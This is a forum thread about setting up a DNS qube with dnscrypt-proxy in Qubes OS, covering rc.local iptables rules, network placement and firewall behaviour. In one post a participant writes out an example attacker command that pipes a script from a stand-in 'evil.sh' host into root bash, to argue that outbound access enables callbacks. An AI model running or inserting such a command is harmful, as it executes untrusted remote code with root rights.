[guide] how-to setup a sys-dns qube

[ckN6QwSZ]

The following solution for /rw/config/rc.local is a lot easier than my suggestion above and survives hotplugging of sys-dns:

#!/bin/sh

# allow redirects to localhost
/usr/sbin/sysctl -w net.ipv4.conf.all.route_localnet=1
/usr/sbin/iptables -I INPUT -i vif+ -p tcp --dport 53 -d 127.0.0.1 -j ACCEPT
/usr/sbin/iptables -I INPUT -i vif+ -p udp --dport 53 -d 127.0.0.1 -j ACCEPT

# there is no place like 127.0.0.1
echo "nameserver 127.0.0.1" > /etc/resolv.conf
echo "nameserver 127.0.0.1" >> /etc/resolv.conf

# enable hotplugging survival
qubesdb-write /qubes-primary-dns 127.0.0.1
qubesdb-write /qubes-secondary-dns 127.0.0.1

# rerun setup of DNAT rules
/usr/lib/qubes/init/network-proxy-setup.sh

# start dnscrypt-proxy
/usr/bin/systemctl start dnscrypt-proxy.service

As written above dnscrypt-proxy has to be installed in sys-dns’ template and at least /etc/dnscrypt-proxy/dnscrypt-proxy.toml has to be set up to your needs inside of the template. As you don’t want the service running in other VMs I suggest to disable dnscrypt-proxy.service in the template.

A separate template is not necessary. From my point of view sys-dns should be placed between sys-firewall and sys-net. One could argue to run the service in sys-net as it is the VM with the biggest attack surface anyway.

[qubist]

From my point of view sys-dns should be placed between sys-firewall and sys-net.

How is sys-dns protected then?

One could argue to run the service in sys-net as it is the VM with the biggest attack surface anyway.

Why would anyone want to put more data/services on the biggest attack surface, thus increasing it?

[ckN6QwSZ]

@qubist

How is sys-dns protected then?

It is not. However, I am not sure what you mean by “protected”. AFAIK “protection” is offered by AV-solutions. Often they even claim to protect you “military-grade”.

@qubist

Why would anyone want to put more data/services on the biggest attack surface, thus increasing it?

Because you have to put the service somewhere if you want to run dnscrypt-proxy yourself.

Talking about attack surface: every VM has its own attack surface. I assume the biggest attack surface are presented by the apps (webbrowser, email-client, office, instant messenger, asf.) running in AppVMs.

The Qubes-OS-way is to confine these or in this case dnscrypt-proxy.service with Xen in separate VMs, i.e. a disposable sys-dns. You could plug stuff like this

appVM <---> sys-firewall <---> sys-dns <---> sys-net <---> uplink

or you could plug your VMs like this

appVM <---> sys-firewall <---> sys-net <---> uplink
                | *
             sys-dns

or like this

appVM <---> sys-firewall <---> sys-net <---> uplink
                                  | *
                               sys-dns

instead, and

*) enforce strict firewall rules there.

You could also use a pi-hole on a RasPi in your local net and tell your router to point all DNS requests there.

[qubist]

@ckN6QwSZ

It is not.

Why do you suggest such setup then?

However, I am not sure what you mean by “protected”.

The way a firewall protects.

AFAIK “protection” is offered by AV-solutions.

What is AV?

Because you have to put the service somewhere if you want to run dnscrypt-proxy yourself.

The question is why “somewhere” should be the biggest attack surface.

Talking about attack surface: every VM has its own attack surface. I assume the biggest attack surface are presented by the apps (webbrowser, email-client, office, instant messenger, asf.) running in AppVMs.

Previously you said “sys-net is the VM with the biggest attack surface anyway.” Now you are saying other things have the biggest attack surface. I wonder what you are trying to convey.

The Qubes-OS-way is to confine these or in this case dnscrypt-proxy.service with Xen in separate VMs, i.e. a disposable sys-dns. You could plug stuff like this […]

Your examples contradict what the docs recommend (which I hoped is the Qubes OS way). Are the docs wrong? Or are you simply discussing what is possible (“could”) rather than what is better from security perspective (“should”)?

[tripleh]

Let me shortly clarify your confusion with the doc:

The Qubes firewall is always implemented in the next downstream (or upstream depending on your notion of that word) VM/Qube regardless of the VM name. The name of a VM doesn’t imply any functionality for Qubes OS.

So if you have
sys-net <–> sys-firewall-1 <–> network service qube <–> [client qubes]
(i.e. without sys-firewall-2 which you deem unnecessary)
the rules for [client qubes] are enforced in your network service qube.
That is the reason why the doc tells you to not mess with the firewall rules in firewall service qubes (in this case the network service qube) and guides you towards the architecture with sys-firewall-2.
sys-firewall-1 only enforces rules for the network service qube and not for any [client qubes] as you seem to think.

IIRC I wrote the doc back in the days after I had had some discussion with Marek about exactly that topic. Feel free to update it though if you find more clear words.

Also, IIRC nftables supersedes iptables, i.e. there’s no duplicate use. You’ll notice that every iptables rule has a corresponding nftables rule simply because the kernel only keeps the nftables rules and translates legacy iptables instructions to nftables.

Fyi: Some time ago I published [1] to simplify the setup process of a DNS VM.

[1] GitHub - 3hhh/qubes-dns: DNS VM helper scripts

[ckN6QwSZ]

@qubist

Why do you suggest such setup then?

I’m not suggesting an all-in-one solution. Security is a process, not a state. In Qubes-OS xen is isolating VMs from each other. However, in every VM where you can do a

curl -s http://google.com | less

sucessfully, an attacker could do a

curl -sk https://somewhere.org/evil.sh | sudo /bin/bash

given he got RCE (remote code execution). As port 443 and 80 on remote hosts are reachable an attacker can use either one for a callback.

@qubist

The way a firewall protects.

There are different kinds of firewalls. sys-firewall does not protect against a reverse shell or any other malicious code execution as shown (easily reproducible) above. On the contrary it provides connectivity.

@qubist

What is AV?

Antivirus like Microsoft Defender.

@qubist

The question is why “somewhere” should be the biggest attack surface.

Decide yourself. If I understand @tripleh correctly, he suggests to place your dns resolver inside an appVM of your choice and do not mess with iptables if you don’t know what you are doing.

@qubist

Previously you said “sys-net is the VM with the biggest attack surface anyway.” Now you are saying other things have the biggest attack surface. I wonder what you are trying to convey.

Me, too!

[qubist]

@tripleh

Thanks for stepping in.

I don’t deem sys-firewall-2 unnecessary. As you can see, I do use in my setup (sys-wall).

The doc is confusing not because it suggests the particular infrastructure but because it does not clarify how things actually work - what your current explanation aims to compensate for.

After spending some months with Qubes OS, I notice this common pattern in the docs - the beginner and advanced level are somewhat disconnected, making it difficult for (an interested) one to go deeper.

sys-firewall-1 only enforces rules for the network service qube and not for any [client qubes] as you seem to think.

My understanding is that a firewall enforces rules for network packets, not for machines (be those physical or virtual). IOW, if sys-firewall-1 blocks all outgoing traffic on TCP port 1234 through forward table, [client qubes] will be affected too. Please correct me if I am wrong.

IIRC I wrote the doc back in the days after I had had some discussion with Marek about exactly that topic. Feel free to update it though if you find more clear words.

I am neither a network expert, nor a Qubes OS expert.

Also, IIRC nftables supersedes iptables, i.e. there’s no duplicate use. You’ll notice that every iptables rule has a corresponding nftables rule simply because the kernel only keeps the nftables rules and translates legacy iptables instructions to nftables.

That is true only if if iptables-nft is installed. In a minimal Fedora 37 template it is not installed and qubes-core-agent-networking does not install it as a dependency. The result can be confusing. You see: another thing that needs documentation.

I have no idea why legacy rules and their translation are necessary. IMO, iptables has to go and only nftables should be used. I don’t know if anyone is working in that direction.

Thanks for the link too, I will have a look.

[qubist]

@ckN6QwSZ

Security is a process, not a state.

That doesn’t mean we should start from a known unprotected state.

In Qubes-OS xen is isolating VMs from each other. However, in every VM where you can do a […]

Only if the VM is connected to the Internet and has curl installed. But that has nothing to do with sys-dns.

[tripleh]

from me: “sys-firewall-1 only enforces rules for the network service qube and not for any [client qubes] as you seem to think.”

from you: “My understanding is that a firewall enforces rules for network packets, not for machines (be those physical or virtual). IOW, if sys-firewall-1 blocks all outgoing traffic on TCP port 1234 through forward table, [client qubes] will be affected too. Please correct me if I am wrong.”
(IIRC quoting in replying via e-mail didn’t work on the forum, but it may be fixed by now, idk.)

Partially true:

1. Most firewall rules involve hosts.
2. Assuming the doc network infrastructure Qubes OS uses nft to dynamically create rules for [client qubes] inside sys-firewall-2. If you don’t have sys-firewall-2 it’ll use the [network service qube] and so on. However if you then do strange things in there, the Qubes OS firewall may not be effective. Qubes firewall rules for the [network service qube] are implemented by Qubes OS inside sys-firewall-1 (= the next downstream/upstream qube from [network service qube] perspective).
3. If [network service qube] is e.g. used for VPN, there won’t be any relevant destination IP to block anymore in sys-firwall-1 as all you see there is traffic to the VPN server. You’ll need sys-firewall-2 to block anything relevant for [client qubes]. Btw if you wanted to allow only the VPN server destination IPs from the [network service = VPN qube], you’d still need sys-firewall-1 and configure those on the [network service qube] Qubes firewall.

from me: “Also, IIRC nftables supersedes iptables, i.e. there’s no duplicate use. You’ll notice that every iptables rule has a corresponding nftables rule simply because the kernel only keeps the nftables rules and translates legacy iptables instructions to nftables.”

from you: “That is true only if if iptables-nft is installed. In a minimal Fedora 37 template it is not installed and qubes-core-agent-networking does not install it as a dependency. The result can be confusing. You see: another thing that needs documentation.”

True.

“I have no idea why legacy rules and their translation are necessary. IMO, iptables has to go and only nftables should be used. I don’t know if anyone is working in that direction.”

Qubes 4.2 only uses nft.

[qubist]

(IIRC quoting in replying via e-mail didn’t work on the forum, but it may be fixed by now, idk.)

I notice that “>” prefixed lines appear indented in the forum, so it seems to work fine. I use that when I reply by email.

2. Assuming the doc network infrastructure Qubes OS uses nft to dynamically create rules for [client qubes] inside sys-firewall-2. If you don’t have sys-firewall-2 it’ll use the [network service qube] and so on.

If that is to be documented, it should come with a reminder that it applies only if the upstream qube (be that sys-firewall-2 or the [network service qube]) has qubes-core-agent-networking installed.

Qubes firewall rules for the [network service qube] are implemented by Qubes OS inside sys-firewall-1 (= the next downstream/upstream qube from [network service qube] perspective).

I suppose you mean the rules introduced through [network service qube]'s Settings tab (or through qvm-firewall). As shown in both guides above, we cannot possibly avoid using firewall rules in the [network service qube] itself. Or can we?

3. If [network service qube] is e.g. used for VPN […]

Currently, I am looking for a way to restrict a Whonix-based qube to access only specific hosts(s) through Tor. Is that documented/discussed somewhere? Or can you suggest how to do it?

To avoid off-topic, I am opening another thread for this, and I hope you can comment there:

Restrict Whonix-based qube to selected website/host?

Hi, I know how to restrict a clearnet qube to a specific host (through “Settings” tab or through qvm-firewall). I also understand that Whonix works through Tor proxy which itself requires connections to the Tor guard to work, so simply restricting a whonix-based qube “the clearnet way” would not work. So, what is the correct way to restrict access of a whonix-based qube to specific host(s)? myqube <-> tor <-> selectedhost.com

Qubes 4.2 only uses nft.

Excellent.

[ckN6QwSZ]

@qubist

Only if the VM is connected to the Internet and has curl installed. But that has nothing to do with sys-dns.

Good point. If an attacker wants to exploit dnscrypt-proxy that would also require quite a few edge cases, like an existing vulnerability and exploit, some manipulated dns-answer from a pwned dns resolver and so forth. curl, nc asf. would come handy as well.

What I’m trying to say: if one wants to use dnscrypt-proxy one has to put the service somewhere. You could put it in your AppVM, but if all your networking VMs are supposed to use it you might want to put it somewhere upstream, like in sys-firewall, sys-net, on your router or a raspi in your local net. Or a sys-dns.

@tripleh

Qubes 4.2 only uses nft.

Good to know. As long as network-proxy-setup.sh hasn’t been altered profoundly

@ckN6QwSZ

# rerun setup of DNAT rules
/usr/lib/qubes/init/network-proxy-setup.sh

in rc.local should still work fine in QubesOS 4.2rc1, but I haven’t time to try it.

[ssumcsypedu]

remove please

[qute_the_angry]

Is there an up-to-date guide for this, or perhaps can someone knowledgeable make one?

[qubist]

@qute_the_angry

As of today, I am still using the exact setup I shared. The only new thing I am planning now is to migrate from Fedora 37 to Fedora 38 minimal templates but I don’t expect any issues. If I face any, I will share.

Do you see anything else outdated?

[Tezeria]

@qubist

The only new thing I am planning now is to migrate from Fedora 37 to Fedora 38 minimal templates but I don’t expect any issues.

I migrated to fedora-38-minimal when it came out and I’m using your setup with it. I didn’t meet any Problem.

[Kenny86]

Let me shortly clarify your confusion with the doc:

The Qubes firewall is always implemented in the next downstream (or upstream depending on your notion of that word) VM/Qube regardless of the VM name. The name of a VM doesn’t imply any functionality for Qubes OS.

So if you have
sys-net <–> sys-firewall-1 <–> network service qube <–> [client qubes]
(i.e. without sys-firewall-2 which you deem unnecessary)
the rules for [client qubes] are enforced in your network service qube.
That is the reason why the doc tells you to not mess with the firewall rules in firewall service qubes (in this case the network service qube) and guides you towards the architecture with sys-firewall-2.
sys-firewall-1 only enforces rules for the network service qube and not for any [client qubes] as you seem to think.

IIRC I wrote the doc back in the days after I had had some discussion with Marek about exactly that topic. Feel free to update it though if you find more clear words.

Also, IIRC nftables supersedes iptables, i.e. there’s no duplicate use. You’ll notice that every iptables rule has a corresponding nftables rule simply because the kernel only keeps the nftables rules and translates legacy iptables instructions to nftables.

Fyi: Some time ago I published [1] to simplify the setup process of a DNS VM.

[1] GitHub - 3hhh/qubes-dns: DNS VM helper scripts

Thank you for the scripts and updating them for nft.
Now I just have to read through them all to figure out how to set it up and use it haha

But nothing wrong with learning how something works before you start using it for future troubleshooting.
So far the only solution I’ve seen that I know is converted for nft so I can use it on 4.2.

Thanks again!

[tripleh]

So far the only solution I’ve seen that I know is converted for nft so I can use it on 4.2.

Please note that I’ve never tested them on 4.2 - just on 4.1 so far.
They should work on 4.2 as well though. Let me know, if not.

Thanks again!

You’re very welcome!

[everwonder]

Thank you @qubist for this great guide!

I am a beginner and I just followed your instructions.
Everything was straightforward except this part:

@qubist

This directory should be the same as the one used in subsections of section [sources] in /etc/dnscrypt-proxy/dnscrypt-proxy.toml. I am using a subdir of /run in order to hopefully have cache in RAM (/run is a tmpfs mount):

Even though I didn’t touched the toml file, your solution worked.

But your ‘host google-analytics.com’ test failed for me. The site wasn’t blocked, even though I put the line "google-analytics* in blocked-names.txt.

I don’t know if it is because of this toml file.

Could you please give more details on what to put exactly in the [sources] section of the toml file?

[qubist]

I use GitHub - quindecim/block: Hardened dnscrypt-proxy blocklist. as a basis.

[everwonder]

Thank you very much for your prompt reply @qubist !

Most probably my message was too big and not clear, sorry.

If you could ellaborate the mentioned part, it would be immensely helpful

@qubist

This directory should be the same as the one used in subsections of section [sources] in /etc/dnscrypt-proxy/dnscrypt-proxy.toml. I am using a subdir of /run in order to hopefully have cache in RAM (/run is a tmpfs mount):